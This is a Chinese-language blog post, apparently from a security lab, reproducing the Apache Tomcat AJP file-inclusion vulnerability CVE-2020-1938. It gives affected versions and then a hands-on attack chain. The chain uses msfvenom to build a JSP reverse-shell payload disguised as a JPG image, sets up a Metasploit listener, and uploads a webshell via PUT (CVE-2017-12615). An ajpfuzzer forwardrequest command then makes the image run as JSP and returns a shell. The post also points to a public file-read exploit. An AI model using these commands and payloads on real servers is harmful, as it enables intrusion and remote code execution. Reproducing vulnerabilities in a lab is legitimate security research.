一、漏洞背景
2020年02月20日,國家信息安全漏洞共享平臺(CNVD)發佈了關於Apache Tomcat文件包含漏洞(CVE-2020-1938/CNVD-2020-10487)的安全公告。Tomcat作為一款免費開源輕量級的web應用服務器,廣泛應用於併發量不是很高的場合,Tomact默認端口8080用於處理http請求,Tomcat會監聽AJP連接器的8009端口,用於與其他Web服務器通過AJP協議進行交互,由於Tomcat AJP協議存在設計缺陷,攻擊者可構造特定的payload讀取服務器WEB目錄下的任意文件以及可以包含任意文件,若存在上傳點,可以獲取shell,進一步進行遠程代碼執行。
二、影響版本
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
三、漏洞復現
這裡為了更加直觀方便的復現CVE-2020-1938,採用WindowsServer + Apache Tomcat 8.5.19環境。
1、搭建環境
首先上官網下載Apache Tomcat 8.5.19,當然別忘了JAVA。
https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.19/
下載完直接放在服務器任意文件夾,在bin目錄開啟Tomcat,其實瀏覽器打開默認端口8080就行,看到熟悉的Tomcat界面說明那就是OK的。
2、msf生成反彈木馬
用msf生成一個jsp反彈木馬。這裡為了更方便接近生產環境我們直接生成一個圖片馬兒。
<code>msfvenom -p java/jsp_shell_reverse_tcp LHOST=本機IP LPORT=監聽端口 R >muma.jpg/<code>
OK,已經生成了一個文件名為muma.jpg的圖片木馬。
接下來我們利用一下metasploit中的exploit/multi/handler後門模塊進行攻擊。
監聽
<code>use exploit/multi/handlerset payload java/jsp_shell_reverse_tcpset lhost 本機IPset lport 監聽端口/<code>
3、任意文件上傳
這裡我們順便就用Apache Tomcat 8.5.19來做一個任意文件上傳漏洞的復現,在服務器上修改配置文件/conf/web.xml,允許tomcat用PUT方式提交,使其產生一個任意文件上傳的漏洞,不多說,自行腦補CVE-2017-12615。
修改tomcat配置文件/conf/web.xml,添加readonly參數,屬性改為false。
抓取tomcat頁面數據包,修改提交方式為PUT,構造payload,上傳webshell
訪問一下這個webshell
就可以遠程執行任意命令了,當然,如果權限不足的話還得提權,這裡就不做演示了。
4、反彈shell
回到正題(接第2篇)假設說某個運行在該版本tomcat上的業務有個上傳點,我們在上傳目錄upload上傳了我們剛才生成的反彈圖片馬。
下載一個AJP包構造器ajpfuzzer_v0.6.jar
<code>URL:https://github.com/doyensec/ajpfuzzer/releases/<code>
運行java -jarajpfuzzer_v0.6.jar
執行connect 目標ip 8009連接目標端口
<code>java -jar ajpfuzzer_v0.6.jarconnect 目標IP 8009/<code>
執行下面命令構造併發送AJP包,其中/upload/muma.jpg為上傳的木馬路徑,其中ma.jsp可以換為任意該web項目中沒有的jsp文件,這樣tomcat才會去調用DefaultServlet.
<code>forwardrequest 2 "HTTP/1.1" "/ma.jsp" 192.168.194.133 192.168.194.133 porto 8009 false "Cookie:AAAA=BBBB","Accept-Encoding:identity" "javax.servlet.include.request_uri:ma.jsp","javax.servlet.include.path_info:/upload/muma.jpg","javax.servlet.include.servlet_path:/"/<code>
請求發送成功後,ma.jpg被當做jsp解析,成功拿到shell
5、Tomcat Ajp協議文件讀取漏洞
用大佬寫的EXP直接任意文件讀取
<code>https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/<code>
KillBoy安全實驗室
迴歸技術本質,引領實戰潮流
閱讀更多 JkBug 的文章